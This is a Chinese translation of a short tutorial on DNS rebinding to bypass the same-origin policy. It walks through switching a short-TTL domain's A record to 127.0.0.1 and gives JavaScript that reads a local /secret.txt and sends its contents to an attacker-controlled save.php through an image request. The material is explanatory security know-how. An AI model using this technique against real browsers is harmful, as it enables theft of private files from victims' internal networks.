(譯) 利用DNS重綁定繞過同源政策
作者: mpgn
原文地址: mpgn/ByP-SOP
譯:雪ノ下月乃
Bypass Same Origin Policy - BY-SOP
我們的目標: 獲得在私有伺服器http://127.0.0.1/secret.txt文件。一般來講,同源政策會限制我們這麼做。然而,我們可以通過DNS重綁定技術來繞過SOP。
這項攻擊技術能夠通過讓受害者的瀏覽器訪問私有地址的機器並返回得到的內容給攻擊者從而破壞私有網路
受害者:
- 需要訪問惡意網頁2-3分鐘(可以通過讓其在該網頁聽歌,放視屏等手段達到該目的)
攻擊者:
- 設置一個有著儘可能慢的TTL的域名(此例子設置的是60秒)
- 當目標訪問惡意頁面時,攻擊者把域名的ip設置為要攻擊的本地ip,比如:
首先設置為 foo.domain.com. 59 IN A 5.135.66.45 然後改為 foo.domain.com. 59 IN A 127.0.0.1
因為TTL非常的短,攻擊者在的其快結束後請求獲取內網文件,這個行為也會產生一個新的DNS請求:
setTimeout(function SOP_bypass() { $.get("/secret.txt", function(data) { // action with data });}, 180000); //3min to be sure
在改變DNS記錄的這段時間內,私有ip會被用來解析域名。因此這時我們請求文件不會被SOP所禁止
- 再將得到的內容發送到伺服器
setTimeout(function SOP_bypass() { $.get("/secret.txt", function(data) { // action with data var image = new Image(); image.src="http://domain.com/save.php?"+data; });}, 180000); //3min to be sure
此處的save.php不需要啟用CROS,不過如果你想確保沒意外,可以加入
header("Access-Control-Allow-Origin: *.domain.com");
- 最後我們訪問保存的文件即可大功告成qaq
這是一張詳細的流程圖:
PS:好久沒翻譯東西了,如有錯誤,歡迎指出qwq
推薦閱讀:
※為什麼信用卡在銷卡之後要將磁條剪斷?
※「點開我的鏈接我就能控制你的電腦」之Facebook Messenger版(需安裝軟體)
※谷歌更新Gmail郵箱安全功能